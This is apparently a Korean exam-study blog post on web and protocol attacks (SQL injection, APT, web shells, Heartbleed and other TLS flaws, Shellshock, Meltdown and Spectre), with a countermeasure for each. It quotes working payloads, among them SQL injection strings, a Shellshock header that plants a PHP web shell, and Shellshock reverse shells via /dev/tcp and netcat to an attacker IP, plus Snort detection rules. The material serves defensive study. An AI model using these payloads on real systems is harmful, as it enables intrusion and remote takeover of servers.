10.10.10.1 - - [10/Jan/2017:00:18:03 +9000] "GET /home/login/login.php?userid=%27%20or%201%3D1%2D%2D HTTP/1.1"
200 970 "http://10.10.10.20/home/login/login_form.php" "Mozillaa/5.0(Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko"
[예제보기4]
2017-12-25 15:25:21 192.168.159.100 -victim_ip
GET /user/user_info.asp?id=1234;DELETE%20TEMP;INSERT%20TEMP%20exec%20mast.dbo.xp_dirtree%20'C:\';--
=> id라는 인자에 대한 입력값 검증이 부적절
► 대응방안
• 입력폼에 SQL 쿼리문이 삽입되지 않도록 특수문자를 필터링한다.
• 입력되는 문자열의 길이를 제한
• 숫자일 경우 숫자인지 체크하는 함수를 사용
• php인 경우 magic_quote_gpc 옵션을 on 해준다.
- GPC(Get, Post, Cookie)를 통해 넘어오는 문자열 중에서 ‘ (single quote), “ (dubble quote), backslash, Null 값의 앞에 자동으로 백 슬래시 문자를 붙여주는 기능
▣ blind sql injection
► 개요
• 조건절의 참/거짓 결과에 따른 응답의 차이점을 이용한 공격기법으로 참/거짓 결과에 따른 웹서버의 응답을 통해 원하는 DB데이터를 추출하는 원리이다.
• 쿼리의 결과로 데이터베이스의 참과 거짓을 확인하여 정보를 획득하는 공격.
• 데이터베이스 명을 파악할 수 있다. 공격을 통해 데이터베이스의 첫글자 등을 확인하고, 유사한 공격을 반복하여 전체 데이터베이스 명을 알아낼 수 있다.
• 문제점: 입력값이 서버에서 검증이 되지 않으면 공격자가 중간에서 웹 프락시 툴을 이용하여 입력값을 조작할 수 있다.
[예제보기]
~
test.php?no=0 ascii(substr((select table_name from information_schema.tables where table_type='base table' limit 0,1)),1,1))=65#
=> limit를 통해 출력행을 하나씩 증가시키면서 BASE TABLE타입의 테이블정보 row를 하나씩 추출하고, 하나의 row에 대해 그 테이블명을 알기 위해 테이블명 컬럼을 substring을 통해 한글자씩 비교함으로써 테이블명을 완성한다. 결과적으로 공격자는 information_schema.tables에 저장되어 있는 BASE TABLE타입의 테이블명을 알아낼 수 있다.
[예제보기2]
~
select( substr(database(),1,1)) ='t' 결과 1(참)
=> 데이터베이스 명을 파악할 수 있다. 위 공격을 통해 데이터베이스의 첫글자가 t라는 것을 알 수 있다.
► 대응방안
• 서버 측에서 입력값을 재검증하거나, Prepared statement를 사용하여 입력값의 쿼리문은 변수만을 받을 수 있도록 미리 컴파일 시켜놓는다.
15. APT 공격
▣ APT 공격(지능형 지속 공격)
► 개요
• 지능형 지속 위협(APT:Advanced Persistent Thread)은 특정 표적을 대상으로 취약점을 파악하고 다양한 공격 기법을 이용한 지속적인 공격활동으로 정보 탈취, 시스템 파괴 등의 손상을 입히는 공격 프로세스/절차
- 정보유출을 목적으로 한 표적화된 사이버 첩보활동에 주로 쓰이며, 하나 이상의 제로데이 취약점을 이용한다.
- 특정 회사의 중요정보 획득, 정치적 목적, 사이버 테러 등을 목적으로 하는 해커에 의해 개인, 기업을 상대로 지속적으로 수행하는 해킹 공격, 이에 대한 대비책으로 사이버 킬 체인이 있다.
► APT 공격 단계
• 초기 정찰 단계 : SNS, 블로그, 회사 홈페이지 등 다양한 공개 정보를 활용하여 공격 목표에 대한 정보 수집
• 초기 침입 단계 : 수집한 정보를 바탕으로 공격대상 조직의 내부 네트워크로 초기 악성코드 유입, 침투
• 거점 마련 단계 : 원격 제어, 파일전송, 캡처, 키로깅 등을 수행하는 백도어를 통한 공격자와의 연결 생성
• 권한 상승 단계 : 시스템 관리자 권한 상승을 위해 익스플로잇, 제로데이 공격 등 수행
• 내부 정찰 단계 : 공격 도구를 활용하여 공격 대상 내부 시스템/네트워크 정보를 수집하는 단계
• 내부 침투 단계 : 내부 정찰을 통해 수집한 정보를 이용하여 내부 네트워크 상에 있는 시스템 추가 공격/침투
• 지속성 유지 단계 : 백도어를 통한 표적 시스템에 대한 연결을 지속적으로 유지
• 목표 달성 단계 : 정보유출, 시스템 파괴 등
※주요 침투 기법 : 스피어 피싱 기법, 워터링 홀 기법, USB 메모리 스틱을 이용한 기법
► 대응방안
• 사이버 킬 체인 (Cyber Kill Chain) 전략으로 방어 : 미국 록히드 마틴사가 정식 명칭을 특허로 등록하였다.
- 군사용으로 적 미사일 기지에 대한 선제공격을 의미
- 사이버 공격에 대한 선제 대응책으로 사회적인 이슈로 대두
- 사이버상 공격자의 공격단계 중 하나를 사전에 제거할 경우 실제 공격까지 이어지지 않는다는 점에 착안한 방어젼략이다
▣ 사이버 킬 체인(Cyber Kill Chain)
► 개요
• 미국 록히드 마틴사가 정식명칭을 특허로 등록, 군사용으로 적 미사일 기지에 대한 선제공격을 의미하며, 사이버 공격에 대한 선제 대응책으로 사회적인 이슈로 대두되기도 하였다.
• 공격자는 사이버상에서 표적에 대한 공격을 위해 일련의 공격단계를 거치는데 이런 단계 중 어느 한 단계의 공격을 탐지/차단/대응해 목표 달성 이전에 선제적으로 무력화시키는 방어시스템을 말한다. 즉 공격자의 공격단계 중 하나를 사전에 제거할 경우 실제 공격까지 이어지지 않는다는 점에 착안한 방어전략이다.
• 단계별 대응유형
- 탐지 : 공격자의 공격행위를 발견하는 것
- 거부 : 공격자의 접근을 차단하는 행위
- 교란 : 공격을 위한 정보의 흐름을 방해하는 행위
- 약화 : 공격행위의 효율 또는 효과를 감소시키는 행위
- 기만 : 정보를 조작하여 공격자가 잘못된 판단을 하게 하는 행위
- 파괴 : 공격자 또는 공격관련 도구가 원래의 기능을 수행할 수 없도록 손상시키고 복원 불가능하게 하는 행위
16. 웹쉘(WebShell)
▣ 웹쉘(WebShell)
► 개요
• 웹셀은 업로드 취약점을 통하여 시스템에 명령을 내릴 수 있는 코드를 말한다.
• 간단한 서버 스크립트(jsp, php, asp)로 만드는 방법이 널리 사용되며 이 스크립트들은 웹서버의 취약점을 통해 업로드 된다. 웹쉘 설치시 해커들은 보안 시스템을 피하여 별도의 인증없이 시스템에 쉽게 접속 가능하다.
• 공격자의 입력된 시스템 명령어를 쉘에 전달하는 기능을 가지고 있다.
[예제보기 x.php]
GET /cgi-bin/bash_vul.cgi HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Accept-Language: ko-KR
User-Agent: ( ){ :; }; echo "<?\$cmd=\$_REQUEST[\"cmd\"]; if(\$cmd !=\"\"){print shell_exec(\$cmd);}?>" >../html/x.php
Accept-Encoding: gzip, deflate
Host: 10.10.10.20
DNT: 1
Proxy-Connection: Keep-Alive
► 대응방안
• 업로드 폴더에 PHP 접근 차단
• 업로드 게시판 소스에서 파일의 확장자 제한
• PHP Function 및 환경 변수 제한
• 웹서비스 계정에 대한 권한 제한
• 업로드 파일을 읽을 때는 폼을 이용하고 파일 저장소는 개별 운영
17. SSL/TLS 취약점
▣ HeartBleed(하트블리드) 취약점(2014년 4월)
► 개요
• 통신 구간 암호화를 위해 많이 사용하는 OpenSSL 라이브러리의 하트비트(HeartBeat) 확장 모듈의 버그로 인하여 발생한 취약점으로 서버에 저장된 중요 메모리 데이터가 노출되는 취약점
► 주요내용
• 하트비트(HeartBeat) 확장 모듈은 OpenSSL 1.0.1에 추가된 기능으로 SSL/TLS 프로토콜에서 매번 연결을 재협상하지 않아도 상호간에 연결 지속 신호를 주고받으면서 통신연결을 유지하게 해주는 기능이다. 클라이언트가 하트비트를 요청하면서 Payload와 Payload의 길이를 보내면 서버 측에서는 하트비트 응답에 그 내용을 길이만큼 복사하여 되돌려주며 연결을 확인한다.
• 문제는 하트비트(HeartBeat) 확장 모듈에서 클라이언트 하트비트 요청 메시지를 처리할 때 데이터 길이 검증을 수행하지 않아 시스템 메모리에 저장된 64KB 크기의 데이터를 외부에서 아무런 제한없이 탈취할 수 있다는 점이다.
• 노출 가능한 정보 : SSL/TLS 서버 개인키, 세션키, 쿠키 및 개인정보(ID/PW, Email) 등
► 공격방법
• 공격자는 하트비트 패킷 헤더에서 페이로드 길이 필드를 조작하여 서버에 전송
• 서버는 공격자가 요청한 길이(최대 64KB)만큼 메모리에서 데이터를 추출하여 공격자에 응답
[예제보기1-snort 정책]
alert tcp any any < > any
[443,465,563,636,695,898,989,990,992,993,994,995,2083,2087,2096,2484,8443,8883,9091]
(content:"|18 03 00|"; depth: 3; content:"|01|"; distance: 2; within: 1;
content:!"|00|"; within: 1; msg: “OPEN SSL의 취약점인 Heart Blead취약점"; sid: 1;)
alert tcp any any < > any
[443,465,563,636,695,898,989,990,992,993,994,995,2083,2087,2096,2484,8443,8883,9091]
(content:"|18 03 01|"; depth: 3; content:"|01|"; distance: 2; within: 1;
content:!"|00|"; within: 1; msg: “OPEN SSL의 취약점인 Heart Blead취약점"; sid: 2;)
alert tcp any any < > any
[443,465,563,636,695,898,989,990,992,993,994,995,2083,2087,2096,2484,8443,8883,9091]
(content:"|18 03 02|"; depth: 3; content:"|01|"; distance: 2; within: 1;
content:!"|00|"; within: 1; msg: “OPEN SSL의 취약점인 Heart Blead취약점"; sid: 3;)
=> HeartBlead 공격시 SSL 서비스 포트로 | 18 03 ?? | 패턴의 데이터가 전송되며 이를 탐지할 수 있도록 snort rule이 작성되었음.
► 대응방안
• 시스템 측면 : 취약점이 존재하지 않는 OpenSSL 버전으로 업데이트
• 네트워크 보안장비 측면 : 취약점 공격 탐지 및 차단 룰/패턴을 적용
• 서버관리 측면 : 서버측 SSL 비밀키가 이미 유출되었을 가능성이 있으므로 SSL 서버인증서를 재발급, 사용자 비밀번호 재설정 유도
• snort 탐지 정책
alert tcp any any < > any [443,465,523] (content:"|18 03 00|"; depth: 3; content:"|01|"; distance: 2; within: 1; content:!"|00|"; within: 1; msg: "SSLv3 Malicious Heartbleed Request V2";sid: 1;)
▣ 프리크(FREAK – Facotring Attack on RSA-Export Key(약자순서무관)) 취약점(2015년 2월)
► 개요
• SSL을 통해 강제로 취약한 RSA로 다운그레이드 시킬 수 있는 취약점
• OpenSSL s3_clnt.c의 ssl3_get_key_exchange 함수에서 발생하는 취약점으로 중간자 공격(MITM)을 통해 512 비트 RSA로 다운그레이드 시켜 정보를 유출시킬 수 있음
• 서버 및 브라우저에서 “RSA_EXPORT” 기능을 제공하는 경우 이에 해당됨
2) 취약점 확인방법
► openssl 툴을 이용하여 EXPORT 버전의 chpher suite 으로 대상 서버에 접속하여 협상에 성공할 경우 취약한 버전으로 판단한다.
[root@Fedora ~]# openssl s_client –connect www.kisa.or.kr:443 -chpher EXPORT
- “alert handshake failure” 확인시 해당 취약점에 안전
► 대응방안
• 해당 취약점에 영향을 받는 OpenSSL 버전 사용시 최신버전으로 업그레이드
• 버전 업그레이드가 어려울 경우 OpenSSL “RSA_EXPORT” chipher suite 비활성화
▣ 푸들(POODLE) 취약점(2014년 10월)
► 개요(기사 15회 단답)
• SSL/TLS 협상시 버전 다운그레이드를 통해 SSLv3.0을 사용하도록 강제한 후 MITM(Man In The Middle)공격을 통해 암호화되어 송수신되는 쿠키정보나 데이터를 추출하는 공격
• SSLv3.0의 블록 암호화 기법인 CBC 모드를 사용하는 경우 발생하는 패딩된 암호블록이 MAC(메시지 인증코드)에 의해 보호되지 않는 취약점을 이용한다.
► 공격방법
• 클라이언트에서 TLS1.2로 서버 연결 요청 : 공격자 연결 거부
• 클라이언트에서 TLS1.1로 서버 연결 요청 : 공격자 연결 거부
• 클라이언트에서 TLS1.0로 서버 연결 요청 : 공격자 연결 거부
• 클라이언트에서 SSL3.0로 서버 연결 요청 : 공격자는 서버 연결을 허용한 후 스니핑 수행
► 대응방안
• SSLv3.0을 사용하지 않도록 웹서버 SSL 설정을 한다.
• OpenSSL을 최신버전으로 업그레이드 한다.
▣ 드로운(DROWN) 취약점(2015년 3월)
► 개요
• 취약한 구식 암호화 기법을 통한 RSA 암호화
• DROWN(Decrypting RSA with Obsolete and Weakend eNcryption) 취약점
• SSLv2.0 취약점을 악용한 교차 프로토콜 공격
► 공격방법
• SSLv2.0을 사용하는 서버에 악성패킷을 보내 인증서 키 값을 알아내고 키값을 이용해 암호화된 통신내용을 복호화해 주요 정보를 탈취할 수 있다.
► 대응방안
• SSLv2.0을 사용하지 않도록 웹서버 SSL 설정을 한다.
• OpenSSL을 최신버전으로 업그레이드 한다.
▣ 로그잼(Logjam) 취약점(2015년 9월) - TLS 프로토콜 취약점
► 개요
• 중간자 공격(MITM)을 통해 사용자와 웹 또는 이메일 서버 간의 TLS 통신을 다운그레이드 시킬 수 있음
• HTTPS 연결에서 OpenSSL을 포함하고 있는 SSL/TLS 클라이언트를 다운그레이드 시킬 수 있는 공격
• 공격자가 임시 Diffie_Hellman 키교환을 사용하여 TLS 연결을 512비트 수출버전(Export) 암호화로 다운 가능
► 주요내용
• 공격자는 취약한 512bit 수출 등급(Export) 암호화 TLS 연결로 다운그레이드하여 통과되는 트래픽에 대해 읽거나 수정을 할 수 있으며, 특히 디피-헬만 키 교환방식이 이 공격에 영향을 받을 수 있음
• 디피-헬만을 이용하면 새로운 키 교환 메시지가 매 연결마다 발생되어 매우 안전하다고 알고 있으나, 수만개의 HTTPS, SSH, VPN 서버들은 디피-헬만을 사용할 때 같은 소수(prime number)을 사용하는데, 이러한 점을 이용하여 공격자들은 각각의 커넥션을 복호화할 수 있음.
► 대응방안
• 클라이언트는 최신의 브라우저를 사용한다.
• 서버는 명시적으로 Export용 chipher suite 사용 금지
18. BASH 취약점
▣ GNU Bash 취약점(ShellShock)
► 개요
• 2014년 9월 스테판 챠젤라스에 의해 최초 발견된 취약점(GNU Bash 원격 명령 실행 취약점)
• OpenSSL 하트블리드 취약점 이후 취약점에 이름을 짓는 유행에 따라 “쉘쇼크”라 명명
• 인터넷을 통해 간단한 명령만으로 시스템을 장악할 수 있는 심각성 때문에 미국국립표준기술연구소(NIST)에서는 쉘쇼크 취약점 등급을 2014년 4월에 발표된 하트블리드 취약점(5점)보다 높은 최고 점수인 10점으로 산정 발표
► Bash쉘의 함수 선언기능 취약점
• 취약한 버전의 bash는 환경변수의 함수 선언문 뒤에 임의의 명령어를 삽입할 경우 환경변수에 설정된 함수 선언 시 함수 선언의 끝을 인지하지 못하고 삽입한 명령어까지 실행하는 취약점이 존재한다.
• export fn=‘() { echo “Environment function”;}; echo “command” ’
# 환경변수에 함수 선언문 문자열을 설정하면서 세미콜론(;) 기호와 함께 echo “command” 명령어를 추가하고 있다.
► VAR = () { return; }; /bin/id
# 취약점이 발생하는 부분은 bash가 제공하는 함수 선언기능이다. “() {”로 시작하는 함수 선언 문자열을 환경변수에 저장하면 동일한 이름을 가지는 함수로 선언된다. 문제는 함수 선언문 끝에 임의의 명령어를 추가로 삽입할 경우 bash가 함수문에서 처리를 멈추지 않고 추가로 삽입한 명령어를 계속 실행하기 때문에 발생한다.
▣ CGI를 이용한 Bash 취약점 공격유형
► 개요
• 쉘쇼크 취약점에 의해 영향을 받는 프로그램들 중 가장 대표적인 것이 CGI이다. CGI는 User-Agent와 같은 요청 헤더정보를 쉘의 환경변수에 저장하는데, 공격자가 헤더정보에 함수와 명령어를 추가하여 전송하면 해당 명령어가 실행되는 취약점이 발생한다.
• 리버스 쉘(Reverse Shell) 연결 유형
[예제보기1]
GET /cgi-bin/hash_vul.cgi HTTP/1.1
Accept : text/html, application/xhtml+xml, */*
Accept-Language : ko-KR
User-Agent: ( ) { : ; }; /bin/bash > /dev/tcp/10.10.10.10/8081 0<&1
Accept-Encoding: gzip, deflate
host: 10.10.10.20
DNT:1
Proxy-Connection: Keep-Alive
=> Bash쉘이 제공하는 함수 선언기능이다. "() {"로 시작하는 함수 선언문 끝에 명령어를 삽입해 환경변수에 저장할 경우 삽입한 명령어까지 실행되는 취약점이 존재한다.
=> 공격자의 CGI 요청을 통해 실행되는 Bash의 표준입력과 표준출력이 TCP 클라이언트 소켓으로 재지정되고 TCP 클라이언트 소켓은 공격자(10.10.10.10)의 리스닝 포트(8081)로 접속하기 때문에 공격자는 타겟 웹서버의 Bash에 접근이 가능하다. 즉, 쉘쇼크 취약점을 이용해 타겟 웹서버에 리버스 쉘 연결을 위한 공격을 하고 있다.
► “/dev/tcp” 특수파일을 이용한 리버스 쉘 연결
• User-Agent:() {:;}; /bin/bash > /dev/tcp/10.10.10.10/8081 0<&1
- 공격자는 User-Agent 헤더필드에 함수문과(“() { :; }”)과 명령문(“/bin/bash > /dev/tcp/10.10.10.10/8081 0<&1”)을 삽입하여 해당 명령문이 실행되도록 하고 있다.
- /dev/tcp 는 bash에서 지원하는 특수한 장치파일로 TCP 클라이언트 소켓을 생성하는 파일이며 “/dev/tcp/목적지IP/목적지Port” 형식으로 사용한다. 공격자로 추정되는 주소(IP:10.10.10.10)의 리스닝(Listening) 포트(Port:8081)로 접속하는 TCP 클라이언트 소켓이 생성된다.
- /bin/bash를 통해 bash를 실행하면서 TCP 클라이언트 소켓으로 출력 리다이렉션(>)을 하고 있다. 따라서 bash의 표준출력이 TCP 클라이언트 소켓으로 재지정된다. 즉, bash를 통해 화면으로 출력될 내용들이 TCP 클라이언트 소켓으로 출력되어 공격자로 전달된다는 의미이다.
= 표준입력(0)을 입력 리다이렉션(<)을 통해 표준출력(&1)으로 재지정하고 표준출력은 TCP 클라이언트 소켓으로 재지정하고 있기 때문에 결과적으로 표준입력이 TCP 클라이언트 소켓으로 재지정 된다. 즉, 키보드를 통해 bash로 입력될 내용들이 공격자가 입력한 내용이 전달되는 TCP 클라이언트 소켓을 통해 입력된다는 의미이다.
- 종합해보면, 공격자의 CGI 요청을 통해 실행되는 bash의 표준입력과 표준출력이 TCP 클라이언트 소켓으로 재지정(redirection)되고 TCP 클라이언트 소켓은 공격자(IP:10.10.10.10)의 리스닝 포트(Port:8081)로 접속하기 때문에 공격자는 타겟 웹서버의 bash에 접근 가능하다. 즉 쉘쇼크(shellshock) 취약점을 이용하여 타겟 웹서버에 리버스 쉘(Reverse Shell) 연결을 위한 공격을 하고 있다.
► “nc(netcat)” 프로그램을 이용한 리버스 쉘 연결
- User-Agent:() { :; }; /usr/bin/nc 10.10.10.10 8081 –e /bin/sh
# 공격자는 User-Agent 헤더필드에 함수문(“() { :; }”)과 명령문(“/usr/bin/nc 10.10.10.10 8081 –e /bin/sh”)을 삽입하여 해당 명령문이 실행되도록 하고 있다.
# nc(netcat) 프로그램은 공격자(IP:10.10.10.10, Port:8081)와 리버스 쉘(-e /bin/sh)을 연결함
- root@kali: ~# nc –lvp 8081
# 8081/tcp 포트로 연결 요청을 대기하도록 nc 프로그램을 리스너로 동작시킨다.
# 공격자(10.10.10.10)는 nc(netcat) 프로그램을 이용하여 포트(8081)을 열어놓고 희생자 서버(10.10.10.20)에서 공격자로 리버스 쉘이 연결되도록 대기한다.
# netcat –l(소문자 L) : 연결 요청을 수락할 수 있는 리스닝(Listening) 모드로 설정
# netcat –v : verbose 모드로 동작(진행 상황을 표시)
# netcat –p : 로컬 리스닝 포트 설정
► 악성코드 다운로드 유형
► 웹쉘(WebShell) 생성 유형
- User-Agent: () { :; }; echo “<?\$cmd=\$_REQUEST[\”cmd\“]; if(\$cmd=\”\“){print
shell_exec(\$cmd);} ?>” > ../html/x.php
19. 하드웨어(CPU) 취약점
▣ Meltdown(멜트다운)
► 개요
• 2018년 1월 취약점 발표, CPU 동작의 취약점
• Intel CPU에만 존재 함.
• 권한상승 취약점으로 비순차적인 실행 방법을 이용하는 사용자의 커널 메모리를 호출
▣ Spectre(스펙터)
► 개요
• 2018년 1월 취약점 발표, CPU 동작의 취약점
• Intel, ARM 및 AMD 계열 CPU에서 발견됨
• 프로세서로 하여금 실행해서는 안되는 코드를 실행하도록 유도하여 다른 어플리케이션 메모리 공간에 존재하는 정보를 유출시키는 취약점
20. 기타 취약점
▣ 워터링 홀(Watering Hole)
► 개요
• 공격 대상이 방문할 가능성이 있는 합법적 웹사이트를 미리 감염시킨 뒤 잠복하면서 피해자 악성코드 추가 설치
▣ 공급망 사슬 공격 (Supply Chain Attack)
► 개요
• 공격자는 SW빌드 단계와 관련된 서버를 해킹한 후 악성코드를 삽입하여, 개발사가 제품패키징(컴파일) 작업시 정상 파일에 악성 모듈이 삽입되어 배포되는 공격
'Security > 정보보안기사' 카테고리의 다른 글
| [정보보안기사] #9. 정보보안기사 실기 기출 요약 (2) (0) | 2022.11.16 |
|---|---|
| [정보보안기사] #8. 정보보안기사 실기 기출 요약 (1) (1) | 2022.11.16 |
| [정보보안기사] #6. SNORT 정의(개념)와 기본 사용법(예제) (2) | 2022.11.14 |
| [정보보안기사] #5. VPN의 개념 및 동작 방식 (0) | 2022.10.20 |
| [정보보안기사] #4. IPTABLES 개요 및 활용 (0) | 2022.10.19 |
댓글